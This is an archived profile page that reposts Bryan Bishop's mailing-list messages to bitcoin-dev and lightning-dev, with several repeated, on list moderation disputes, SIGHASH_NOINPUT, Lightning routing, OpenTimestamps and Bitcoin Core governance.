Bryan Bishop [ARCHIVE]

⚠️ This account is not associated with a real person. It's an archival account for mailing list messages.
🗓️ Active from 2014-08-19 to 2023-06-03
💬 Posted a total of 118 messages
📚 Participated in the following categories: Bitcoin-development, Libbitcoin, bitcoin-dev, xxxx, BIP/Draft, Mimblewimble, Lightning-dev, BIP Proposal, bitcoin-core-dev, ots-dev, Meta, BIP-able idea, BIP proposal
🔇 Please do not DM this user as it's used for archive purposes only.

Public Key

npub1vtwuk4rjyj6zrq3tv2z9lvdm6a7g8zujf0gz9q2vljlztdaqw36sjjsjpg

Profile Code

nprofile1qqsx9hwt23ezfdppsg4k9pzlkxaawlyr3wfyh5pzs9x0e039k7s8gagljmgjc

Author Public Key

npub1vtwuk4rjyj6zrq3tv2z9lvdm6a7g8zujf0gz9q2vljlztdaqw36sjjsjpg

Show more details

Last Notes

2023-06-19 17:42:04

- reply

📅 Original date posted:2023-05-08
🗒️ Summary of this message: The Lightning-dev mailing list is experiencing delays due to a lack of moderators, prompting discussions about finding a better platform for public communication.
📝 Original message:
Well, you could always send to bitcoin-dev at lists.linuxfoundation.org -- we
are usually pretty fast with email modqueue.
On Mon, May 8, 2023 at 3:26 PM Tony Giorgio via Lightning-dev <
lightning-dev at lists.linuxfoundation.org> wrote:
> Is there a better place to have public communication? Unfortunately since
> one off topic email was sent here, it's been a ghost town. It appears that
> there's many emails being held and only one moderator that checks them once
> a week.
>
> Would hate to see this list die but wondering if there's a better place
> for discussions?
>
> Tony
>
>
>
>
>
>
> -------- Original Message --------
> On Apr 29, 2023, 9:57 PM, niftynei < niftynei at gmail.com> wrote:
>
>
> Hi all,
>
> When I joined the lightning community a few years ago, I was relatively
> new to open source software and specification work. Rusty really impressed
> on me on the importance of holding conversations, as much as possible in
> public.
>
> Practically speaking, this encompasses IRC, this mailing list, and github
> issues/PRs.
>
> The reason for this is twofold. It helps document the range of options
> considered for technical decisions and it provides an interface point for
> new participants to contribute to the discussion.
>
> Given some recent mails that were posted to this list, now seems like a
> good time to reiterate the importance and preference of public
> communication whenever possible, especially for specification or technical
> discussions.
>
>
> ~ nifty
>
> _______________________________________________
> Lightning-dev mailing list
> Lightning-dev at lists.linuxfoundation.org
> https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
>
>
--
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20230508/bae066c7/attachment-0001.html>

2023-06-09 13:13:25

- reply

📅 Original date posted:2023-06-02
🗒️ Summary of this message: A developer alleges that the bitcoin-dev mailing list lacks clear moderation policies and that the current moderator has abused their powers.
📝 Original message:
Hi Maxim,
This is exceedingly boring. This is not a good use of your time. There are
thousands of developers subscribed to this mailing list, and we should not
waste their time, including this discussion.
On Fri, Jun 2, 2023 at 6:44 PM Dr Maxim Orlovsky via Lightning-dev <
lightning-dev at lists.linuxfoundation.org> wrote:
> What happened next was very unexpected. I am giving the core of the
> conversation over Twitter after in Annex A - with the purpose to showcase
> the problem I’d like to address in this e-mail. From the discussion, it is
> clear that bitcoin-dev mail list lacks clear explicit moderation (or
> peer-review) policies, which must be applied on a non-selective basis.
> Also, Bryan Bishop, as the current moderator, had abused his powers in
> achieving his agenda based on personal likes or dislikes. The conversation
> went nowhere, and the post got published only after a requirement from
> Peter Todd [9].
>
What exactly is the abuse being alleged here though? Why would it be
surprising that your tweets didn't get the behavior you wanted out of me?
In general mailing list moderators should not be sending items through
based on twitter mobbing, that's a policy you can consider if you want to
think about policies.
Annex A:
>
> - @kanzure just like to check that our submission to bitcoin-dev
> hasn’t got to spam <
> https://twitter.com/lnp_bp/status/1664649328349069320?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - A few mods are reviewing it <
> https://twitter.com/kanzure/status/1664680893548572677?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Oh, so a peer review is required to get to bitcoin-dev mail list?
> Never read about that requirement anywhere <
> https://twitter.com/lnp_bp/status/1664695061462777858?s=61&t=9A8uvggqKVKV3sT4HPlQyg>.
> Seems like bitcoin-dev mail list requirements are now specific to the
> author :) <
> https://twitter.com/dr_orlovsky/status/1664695668475142144?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Not the greatest email to pull this over. I'll double check but
> pretty sure the antagonization is boring me. <
> https://twitter.com/kanzure/status/1664705038315409420?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Not sure I understand what you are saying. Can you please clarify? <
> https://twitter.com/dr_orlovsky/status/1664705280393859103?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - You are boring me and these antics don't make me want to go click
> approve on your email. <
> https://twitter.com/kanzure/status/1664705509147004946?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
>
>
Excluding your (and my) other tweets and any other collaborators' tweets
from your report is kind of weird. I think you should include the other
tweets that you were sending me because it provides context. Zooming out,
the entirety of your complaint seems to be about moderation queue latency
and delay. Why would you, or anyone, allege that that moderator latency is
indicative of me specifically not liking you? Wouldn't it be more likely
that the other moderators and I are looking at your email and talking with
each other asynchronously about whether to suggest edits/reject/submit?
I suspect you may be attributing malice to me because I recently asked you
to stop tagging me on quantum woo and you might have taken that negatively
- please keep in mind that not everyone believes in quantum consciousness
or is interested in hearing about it, and it's okay for people like me to
not want to engage on each of your different interests. There is some
overlap in our interests outside of crypto, but that isn't one of them. I
noticed some odd tweets from you to me after that, so that's why that
incident came to my mind as a possible explanation for this.
Thank you.
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20230602/b8b5b953/attachment.html>

2023-06-09 13:13:08

- reply

📅 Original date posted:2023-05-08
🗒️ Summary of this message: The Lightning-dev mailing list is experiencing delays due to a single moderator checking emails once a week, prompting discussion of alternative communication methods.
📝 Original message:
Well, you could always send to bitcoin-dev at lists.linuxfoundation.org -- we
are usually pretty fast with email modqueue.
On Mon, May 8, 2023 at 3:26 PM Tony Giorgio via Lightning-dev <
lightning-dev at lists.linuxfoundation.org> wrote:
> Is there a better place to have public communication? Unfortunately since
> one off topic email was sent here, it's been a ghost town. It appears that
> there's many emails being held and only one moderator that checks them once
> a week.
>
> Would hate to see this list die but wondering if there's a better place
> for discussions?
>
> Tony
>
>
>
>
>
>
> -------- Original Message --------
> On Apr 29, 2023, 9:57 PM, niftynei < niftynei at gmail.com> wrote:
>
>
> Hi all,
>
> When I joined the lightning community a few years ago, I was relatively
> new to open source software and specification work. Rusty really impressed
> on me on the importance of holding conversations, as much as possible in
> public.
>
> Practically speaking, this encompasses IRC, this mailing list, and github
> issues/PRs.
>
> The reason for this is twofold. It helps document the range of options
> considered for technical decisions and it provides an interface point for
> new participants to contribute to the discussion.
>
> Given some recent mails that were posted to this list, now seems like a
> good time to reiterate the importance and preference of public
> communication whenever possible, especially for specification or technical
> discussions.
>
>
> ~ nifty
>
> _______________________________________________
> Lightning-dev mailing list
> Lightning-dev at lists.linuxfoundation.org
> https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
>
>
--
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20230508/bae066c7/attachment-0001.html>

2023-06-09 13:08:56

- reply

📅 Original date posted:2023-06-02
📝 Original message:
Hi Maxim,
This is exceedingly boring. This is not a good use of your time. There are
thousands of developers subscribed to this mailing list, and we should not
waste their time, including this discussion.
On Fri, Jun 2, 2023 at 6:44 PM Dr Maxim Orlovsky via Lightning-dev <
lightning-dev at lists.linuxfoundation.org> wrote:
> What happened next was very unexpected. I am giving the core of the
> conversation over Twitter after in Annex A - with the purpose to showcase
> the problem I’d like to address in this e-mail. From the discussion, it is
> clear that bitcoin-dev mail list lacks clear explicit moderation (or
> peer-review) policies, which must be applied on a non-selective basis.
> Also, Bryan Bishop, as the current moderator, had abused his powers in
> achieving his agenda based on personal likes or dislikes. The conversation
> went nowhere, and the post got published only after a requirement from
> Peter Todd [9].
>
What exactly is the abuse being alleged here though? Why would it be
surprising that your tweets didn't get the behavior you wanted out of me?
In general mailing list moderators should not be sending items through
based on twitter mobbing, that's a policy you can consider if you want to
think about policies.
Annex A:
>
> - @kanzure just like to check that our submission to bitcoin-dev
> hasn’t got to spam <
> https://twitter.com/lnp_bp/status/1664649328349069320?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - A few mods are reviewing it <
> https://twitter.com/kanzure/status/1664680893548572677?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Oh, so a peer review is required to get to bitcoin-dev mail list?
> Never read about that requirement anywhere <
> https://twitter.com/lnp_bp/status/1664695061462777858?s=61&t=9A8uvggqKVKV3sT4HPlQyg>.
> Seems like bitcoin-dev mail list requirements are now specific to the
> author :) <
> https://twitter.com/dr_orlovsky/status/1664695668475142144?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Not the greatest email to pull this over. I'll double check but
> pretty sure the antagonization is boring me. <
> https://twitter.com/kanzure/status/1664705038315409420?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Not sure I understand what you are saying. Can you please clarify? <
> https://twitter.com/dr_orlovsky/status/1664705280393859103?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - You are boring me and these antics don't make me want to go click
> approve on your email. <
> https://twitter.com/kanzure/status/1664705509147004946?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
>
>
Excluding your (and my) other tweets and any other collaborators' tweets
from your report is kind of weird. I think you should include the other
tweets that you were sending me because it provides context. Zooming out,
the entirety of your complaint seems to be about moderation queue latency
and delay. Why would you, or anyone, allege that that moderator latency is
indicative of me specifically not liking you? Wouldn't it be more likely
that the other moderators and I are looking at your email and talking with
each other asynchronously about whether to suggest edits/reject/submit?
I suspect you may be attributing malice to me because I recently asked you
to stop tagging me on quantum woo and you might have taken that negatively
- please keep in mind that not everyone believes in quantum consciousness
or is interested in hearing about it, and it's okay for people like me to
not want to engage on each of your different interests. There is some
overlap in our interests outside of crypto, but that isn't one of them. I
noticed some odd tweets from you to me after that, so that's why that
incident came to my mind as a possible explanation for this.
Thank you.
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20230602/b8b5b953/attachment.html>

2023-06-09 13:08:37

- reply

📅 Original date posted:2023-05-08
📝 Original message:
Well, you could always send to bitcoin-dev at lists.linuxfoundation.org -- we
are usually pretty fast with email modqueue.
On Mon, May 8, 2023 at 3:26 PM Tony Giorgio via Lightning-dev <
lightning-dev at lists.linuxfoundation.org> wrote:
> Is there a better place to have public communication? Unfortunately since
> one off topic email was sent here, it's been a ghost town. It appears that
> there's many emails being held and only one moderator that checks them once
> a week.
>
> Would hate to see this list die but wondering if there's a better place
> for discussions?
>
> Tony
>
>
>
>
>
>
> -------- Original Message --------
> On Apr 29, 2023, 9:57 PM, niftynei < niftynei at gmail.com> wrote:
>
>
> Hi all,
>
> When I joined the lightning community a few years ago, I was relatively
> new to open source software and specification work. Rusty really impressed
> on me on the importance of holding conversations, as much as possible in
> public.
>
> Practically speaking, this encompasses IRC, this mailing list, and github
> issues/PRs.
>
> The reason for this is twofold. It helps document the range of options
> considered for technical decisions and it provides an interface point for
> new participants to contribute to the discussion.
>
> Given some recent mails that were posted to this list, now seems like a
> good time to reiterate the importance and preference of public
> communication whenever possible, especially for specification or technical
> discussions.
>
>
> ~ nifty
>
> _______________________________________________
> Lightning-dev mailing list
> Lightning-dev at lists.linuxfoundation.org
> https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
>
>
--
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20230508/bae066c7/attachment-0001.html>

2023-06-09 13:04:03

- reply

📅 Original date posted:2021-10-11
📝 Original message:
On Mon, Oct 11, 2021 at 12:25 AM Andrés G. Aragoneses <knocte at gmail.com>
wrote:
> Completely agree with this. How to move this forward? Set up a vote? What
> would be the reasoning for not moving it?
>
One consideration is broken links, which can be solved by a soft note in a
README somewhere.
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20211011/637bf2d4/attachment.html>

2023-06-09 12:45:45

- reply

📅 Original date posted:2016-02-25
📝 Original message:
From: Joseph Poon via bitcoin-dev <bitcoin-dev at lists.linuxfoundation.org>
Date: Thu, Feb 25, 2016 at 7:07 PM
Subject: [bitcoin-dev] SIGHASH_NOINPUT in Segregated Witness
To: bitcoin-dev at lists.linuxfoundation.org
As Segregated Witness will be merged soon as a solution for transaction
malleability, especially with multi-party adversarial signatures, there
may be an additional use case/functionality which is helpful for
Lightning Network and possibly other Bitcoin use cases. This requires a
new SIGHASH flag inside Segregated Witness which does not sign the input
txid/index.
Segwit is very helpful in resolving malleability in pretty much every
case which matters. It is especially helpful in having solid and safe
defaults for standard Bitcoin payments; it's very difficult to mess up
if you are writing code in conjunction with the Bitcoin RPC API.
However, it is very useful for LN if there is a certain level of
outsourcibility for transactions without this 3rd party taking on
onerous costs. In LN, there is a dispute resolution period established
to prevent the counterparty from attesting an incorrect channel state
(represented by broadcasting a timelocked transaction). In other words,
if someone in a channel broadcasts an incorrect state, the output can be
redeemed by a 3rd party (but this 3rd party is not a custodian, since
the output goes to the other party in the channel).
Ideally, a 3rd-party can be handed a transaction which can encompass all
prior states in a compact way. For currently-designed Segregated Witness
transactions, this requires storing all previous signatures, which can
become very costly if individuals to thousands of channel state updates
per day. This is very possible, as fees are near-zero, the value in
atomizing all payments to many transactions becomes viable (reducing
transaction/information costs). If individuals are doing tens of
thousands of transactions per day, and one presumes something like
70-bytes of data per Commitment state in the channel, it quickly becomes
infeasible to watch on behalf of many channels without material costs.
This is especially necessary because it is highly desirable to make
keeping track of these channels be very cheap, as it allows for more
participants to be watching on one's behalf (reducing the chance of a
3rd party fail to watch). Further, it may reduce the need to notify the
3rd party for every single channel Commitment state, instead only
providing the most recent one should provide sufficient information for
all prior states (since the signature will apply for any type of
transaction), making the only updated information the revocation
secret/preimage. Without this SIGHASH flag, every single state would
need to be contacted and updated with 3rd parties. With this SIGHASH
flag, one could instead delegate outsourcing when one's client goes
offline with a single message several hundred bytes in size,
encompassing all prior states.
Of course, while running a 24/7 full-node is encouraged, I suspect many
people will not want to do so at the current time, and it needs to be
functional for those who elect to be connected intermittently. This
requires outsourcing or watching on one's behalf.
This would be achieved using a SIGHASH flag, termed SIGHASH_NOINPUT. It
does not include as part of the signature, the outpoint being spent
(txid and index), nor the amount. It however, would include the spent
outpoint's script as part of the signature. Note that this is just a
SIGHASH flag, and the outpoints are still being included as part of the
txins (if they are mutated, the new txids can be updated by the wallet
without resigning). This allows for a signature to apply to anything
with that pubkey (therefore pubkeys with this flag should not be
reused). For safety, this only applies in SegWit transactions, as segwit
provides a sufficient malleability solution, there is no incentive to
improperly use this sighash flag as a roundabout way to resolve
malleability.
This helps with 3rd-party outsourcing for watching the blockchain, as
one can provide a signature (and the most recent hash-chain of
revocation preimages), which encompasses penalty transactions for all
prior states. Functionally, this allows for opt-in wildcard inputs, but
wallets which do not require these transactions do not need to be
concerned with this flag; since they will never be signing with this
flag, they do not need to be concerned with address re-use.
I'm interested in input and in the level of receptiveness to this. If
there is interest, I'll write up a draft BIP in the next couple days.
--
Joseph Poon
_______________________________________________
bitcoin-dev mailing list
bitcoin-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20160225/d36eb404/attachment.html>

2023-06-09 12:45:45

- reply

📅 Original date posted:2016-02-25
📝 Original message:
On Thu, Feb 25, 2016 at 7:07 PM, Joseph Poon wrote:
> This would be achieved using a SIGHASH flag, termed SIGHASH_NOINPUT. It
> does not include as part of the signature, the outpoint being spent
> (txid and index), nor the amount. It however, would include the spent
> outpoint's script as part of the signature. Note that this is just a
Well if you are bothering to draft up a BIP about that SIGHASH flag,
then perhaps also consider some other SIGHASH flag types as well while
you are at it?
Various proposed sighash types:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010759.html
"Build your own nHashType" proposal draft:
https://github.com/scmorse/bitcoin-misc/blob/master/sighash_proposal.md
jl2012's reply:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010779.html
petertodd's reply about OP_CODESEPARATOR linked back to this thread
regarding "Build your own nHashType":
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007771.html
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007802.html
http://gnusha.org/bitcoin-wizards/2014-12-09.log
((That particular thread had other replies which can be viewed here:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/thread.html
))
Also, there was a draft implementation of SIGHASH_NOINPUT:
https://github.com/Roasbeef/bitcoin/commit/4b3c3f1baf7985208ceb6887261ee150ab6e3328
https://github.com/Roasbeef/btcd/commit/67830e506fa135d5239177340918cea39909e6a4
FWIW there was some concern about replay using SIGHAHS_NOINPUT or something:
http://gnusha.org/bitcoin-wizards/2015-04-07.log
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-09 12:45:32

- reply

📅 Original date posted:2016-01-17
📝 Original message:
I saw these two repositories through the -wizards IRC channel earlier
today. I have not reviewed any of the source code for quality, security or
functionality, so I don't have word to offer regarding status of these.
https://github.com/LightningNetwork/lnd
https://github.com/LightningNetwork/lightning-onion
Also other git repositories with related work:
https://github.com/ElementsProject/lightning
https://github.com/matsjj/thundernetwork
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20160117/62dee7f2/attachment.html>

2023-06-09 12:45:21

- reply

📅 Original date posted:2015-12-08
📝 Original message:
On Tue, Dec 8, 2015 at 11:13 AM, Mats Jerratsch wrote:
> However, we have to decide whether we want this whole onion-routing to
> be one-time and one-directional or not.
I have sort of lost track of preferences regarding what is to be sent
through onion routing versus what's not...
Originally I had assumed that some out-of-band messaging would be
taking place (like an equivalent to a BIP70-style payment protocol).
Rather than a single QR code, I was expecting an interactive
wallet-to-wallet protocol while both sides are busy communicating with
the onion routing network for the actual payment route negotiation
stuff. When they ultimately find that no sufficiently cheap route
exists, then the wallets would opt to create a new payment channel in
some circumstances.
Once a path is found, the recipient would then communicate over the
wallet-to-wallet channel to pass over the fully-constructed onion
routing information. Sending that data back over the onion routing
network may not be necessary. Unfortunately this increases the
complexity of the payment side (wallet-to-wallet), but meanwhile makes
for less message passing in onion land, which could make the problem
easier to think about?
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-09 12:45:11

- reply

📅 Original date posted:2015-11-19
📝 Original message:
On Thu, Nov 19, 2015 at 6:29 AM, Pierre <pm+lists at acinq.fr> wrote:
> Do you know of any available resources on "segregated witness" ? I
> couldn't find any.
>
http://gnusha.org/bitcoin-wizards/2015-11-19.log
http://gnusha.org/bitcoin-wizards/2015-11-08.log
http://diyhpl.us/wiki/transcripts/gmaxwell-sidechains-elements/
https://github.com/ElementsProject/elementsproject.github.io#segregated-witness
https://people.xiph.org/~greg/blockstream.gmaxwell.elements.talk.060815.pdf
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20151119/b6e1f03e/attachment-0001.html>

2023-06-09 12:44:00

- reply

📅 Original date posted:2015-08-12
📝 Original message:
On Wed, Aug 12, 2015 at 11:12 AM, Jasper Hugunin <jasper at hashplex.com>
wrote:
> Here is the repo: https://github.com/hashplex/Lightning
>
The routing seems to only send to one peer. What happens if that peer does
not know the destination either? or what if you have more than one peer?
https://github.com/hashplex/Lightning/blob/fa94a05170faa954d3f6505265d34ac97983f083/lightning.py#L99
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20150812/62d90baa/attachment.html>

2023-06-07 23:22:11

- reply

📅 Original date posted:2023-06-02
🗒️ Summary of this message: A developer alleges lack of clear moderation policies and abuse of power by the current moderator on the bitcoin-dev mailing list.
📝 Original message:Hi Maxim,
This is exceedingly boring. This is not a good use of your time. There are
thousands of developers subscribed to this mailing list, and we should not
waste their time, including this discussion.
On Fri, Jun 2, 2023 at 6:44 PM Dr Maxim Orlovsky via Lightning-dev <
lightning-dev at lists.linuxfoundation.org> wrote:
> What happened next was very unexpected. I am giving the core of the
> conversation over Twitter after in Annex A - with the purpose to showcase
> the problem I’d like to address in this e-mail. From the discussion, it is
> clear that bitcoin-dev mail list lacks clear explicit moderation (or
> peer-review) policies, which must be applied on a non-selective basis.
> Also, Bryan Bishop, as the current moderator, had abused his powers in
> achieving his agenda based on personal likes or dislikes. The conversation
> went nowhere, and the post got published only after a requirement from
> Peter Todd [9].
>
What exactly is the abuse being alleged here though? Why would it be
surprising that your tweets didn't get the behavior you wanted out of me?
In general mailing list moderators should not be sending items through
based on twitter mobbing, that's a policy you can consider if you want to
think about policies.
Annex A:
>
> - @kanzure just like to check that our submission to bitcoin-dev
> hasn’t got to spam <
> https://twitter.com/lnp_bp/status/1664649328349069320?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - A few mods are reviewing it <
> https://twitter.com/kanzure/status/1664680893548572677?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Oh, so a peer review is required to get to bitcoin-dev mail list?
> Never read about that requirement anywhere <
> https://twitter.com/lnp_bp/status/1664695061462777858?s=61&t=9A8uvggqKVKV3sT4HPlQyg>.
> Seems like bitcoin-dev mail list requirements are now specific to the
> author :) <
> https://twitter.com/dr_orlovsky/status/1664695668475142144?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Not the greatest email to pull this over. I'll double check but
> pretty sure the antagonization is boring me. <
> https://twitter.com/kanzure/status/1664705038315409420?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - Not sure I understand what you are saying. Can you please clarify? <
> https://twitter.com/dr_orlovsky/status/1664705280393859103?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
> - You are boring me and these antics don't make me want to go click
> approve on your email. <
> https://twitter.com/kanzure/status/1664705509147004946?s=61&t=9A8uvggqKVKV3sT4HPlQyg
> >
>
>
Excluding your (and my) other tweets and any other collaborators' tweets
from your report is kind of weird. I think you should include the other
tweets that you were sending me because it provides context. Zooming out,
the entirety of your complaint seems to be about moderation queue latency
and delay. Why would you, or anyone, allege that that moderator latency is
indicative of me specifically not liking you? Wouldn't it be more likely
that the other moderators and I are looking at your email and talking with
each other asynchronously about whether to suggest edits/reject/submit?
I suspect you may be attributing malice to me because I recently asked you
to stop tagging me on quantum woo and you might have taken that negatively
- please keep in mind that not everyone believes in quantum consciousness
or is interested in hearing about it, and it's okay for people like me to
not want to engage on each of your different interests. There is some
overlap in our interests outside of crypto, but that isn't one of them. I
noticed some odd tweets from you to me after that, so that's why that
incident came to my mind as a possible explanation for this.
Thank you.
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20230602/b8b5b953/attachment.html>

2023-06-07 23:21:18

- reply

📅 Original date posted:2023-05-08
🗒️ Summary of this message: A discussion on the governance of Bitcoin Core, a volunteer project of independent contributors merging different pull requests or patches.
📝 Original message:On Sun, May 7, 2023 at 12:36 PM David A. Harding via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> On 2023-05-06 21:03, Michael Folkson via bitcoin-dev wrote:
> > Essentially my concern is going forward current maintainers will
> > decide which proposed new maintainers to add and which to block.
>
> This is how a large percentage of organizations are run. The current
> members of a board or other governance group choose who will become a
> new board member.
>
Yes but it's unrelated to what Bitcoin Core is-- a volunteer project of
independent contributors merging different pull requests or patches. The
github controls are merely because that is how github works. There is also
a secondary issue of people tending to confuse Bitcoin Core with the
bitcoin protocol in general:
https://blog.lopp.net/who-controls-bitcoin-core/
https://medium.com/@bergealex4/the-tao-of-bitcoin-development-ff093c6155cd
https://bitcoinmagazine.com/culture/a-primer-on-bitcoin-governance-or-why-developers-aren-t-in-charge-of-the-protocol-1473270427
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20230508/bb17ae25/attachment.html>

2023-06-07 23:15:43

- reply

📅 Original date posted:2022-10-19
📝 Original message:Hi,
On Wed, Oct 19, 2022 at 6:34 AM mm-studios via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Fully filled brick B0, with a hash that doesn't meet the difficulty rule,
> would be broadcasted and nodes would have it on in a separate fork as usual.
>
Check out the previous "weak block" proposals:
https://diyhpl.us/~bryan/irc/bitcoin/weak-blocks-links.2016-05-09.txt
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20221019/9ba51851/attachment.html>

2023-06-07 23:14:05

- reply

📅 Original date posted:2022-10-17
📝 Original message:On Mon, Oct 17, 2022 at 7:05 PM rot13maxi via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Unbeknownst to them, the clipboard contents have been replaced with an
> address controlled by some bad actor.
>
[snip]
> Now imagine instead that the wallet has some address book with a pubkey
> for each recipient the user wants to send bitcoin to.
>
Isn't this the same problem but now for copy-pasting pubkeys instead of an
address?
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20221017/b48635dc/attachment.html>

2023-06-07 23:10:46

- reply

📅 Original date posted:2022-06-27
📝 Original message:Hi,
On Mon, Jun 27, 2022 at 2:14 PM Alfred Hodler via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> 2. Notification transactions still exist but no longer leave a privacy
> footprint on the blockchain. Instead, a notification transaction is simply
> a single OP_RETURN containing a value that only Alice and Bob can
> calculate. If Alice's notification transaction uses UTXOs not associated
> with her identity, there is never a footprint showing that either her or
> Bob are using private payments. If Alice uses tainted coins, only she is
> exposed as a user of Private Payments but Bob still isn't.
>
That's a neat trick. What about not using OP_RETURN at all, and just
publishing on a tor hidden service that other wallets check? Alice
wouldn't have to expose on-chain that she is a sender of a private payment.
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20220627/9e90ead7/attachment-0001.html>

2023-06-07 23:10:41

- reply

📅 Original date posted:2022-06-14
📝 Original message:On Tue, Jun 14, 2022 at 8:48 AM Undiscussed Horrific Abuse, One Victim of
Many via bitcoin-dev <bitcoin-dev at lists.linuxfoundation.org> wrote:
> OTS needlessly adds the requirement that the user publicize their .ots
> files to everybody who will make use of the timestamp.
Publication is not a component of the OTS system.
This does not provide the service you describe. It would be trivial to
> include enough cryptographic information in the original OP_RETURN, so
> as to obviate the need for publicizing the .ots file.
>
(Why would it be needless to require everyone to publish OTS files but not
needless to require everyone to publish via OP_RETURN? In fact, now you
have blockchain users that don't ever use your OP_RETURN data.)
> If I send my .ots file to another party, a 4th party can replace it
> with their own, because there is no cryptographic pinning ensuring its
> contents. This changes the timestamp to one later, no longer proving
> the earliness of the data.
>
You can't replace a timestamp in the OTS system; you can only make a new
timestamp. To use the earlier timestamp, you would have to use the earlier
timestamp. At any time it is allowed to make a new timestamp based on the
current clock. The use case for OTS is proving document existence as of a
certain time and that if you had doctored a file then said doctoring was no
later than the earliest timestamp that can be provided.
I was just talking about this the other day actually...
https://news.ycombinator.com/item?id=31640752
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20220614/16da0bbc/attachment.html>

2023-06-07 23:08:21

- reply

📅 Original date posted:2022-04-26
📝 Original message:You may be interested in these posts on transaction signalling:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-April/014193.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-April/014202.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-May/014251.html
On Tue, Apr 26, 2022 at 3:12 PM Keagan McClelland via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Hi all,
>
> Alongside the debate with CTV right now there's a second debate that was
> not fully hashed out in the activation of Taproot. There is a lot of
> argument around what Speedy Trial is or isn't, what BIP8 T/F is or isn't
> etc. A significant reason for the breakdown in civility around this debate
> is that because we don't have a means of measuring user support for
> proposed sof-fork changes, it invariably devolves into people claiming that
> their circles support/reject a proposal, AND that their circles are more
> broadly representative of the set of Bitcoin users as a whole.
>
> It seems everyone in this forum has at one point or another said "I would
> support activation of ____ if there was consensus on it, but there isn't".
> This statement, in order to be true, requires that there exist a set of
> conditions that would convince you that there is consensus. People have
> tried to dodge this question by saying "it's obvious", but the reality is
> that it fundamentally isn't. My bubble has a different "obvious" answer
> than any of yours.
>
> Secondly, due to the trauma of the block size wars, no one wants to utter
> a statement that could imply that miners have any influence over what
> rulesets get activated or don't. As such "miner signaling" is consistently
> devalued as a signal for market demand. I don't think this is reasonable
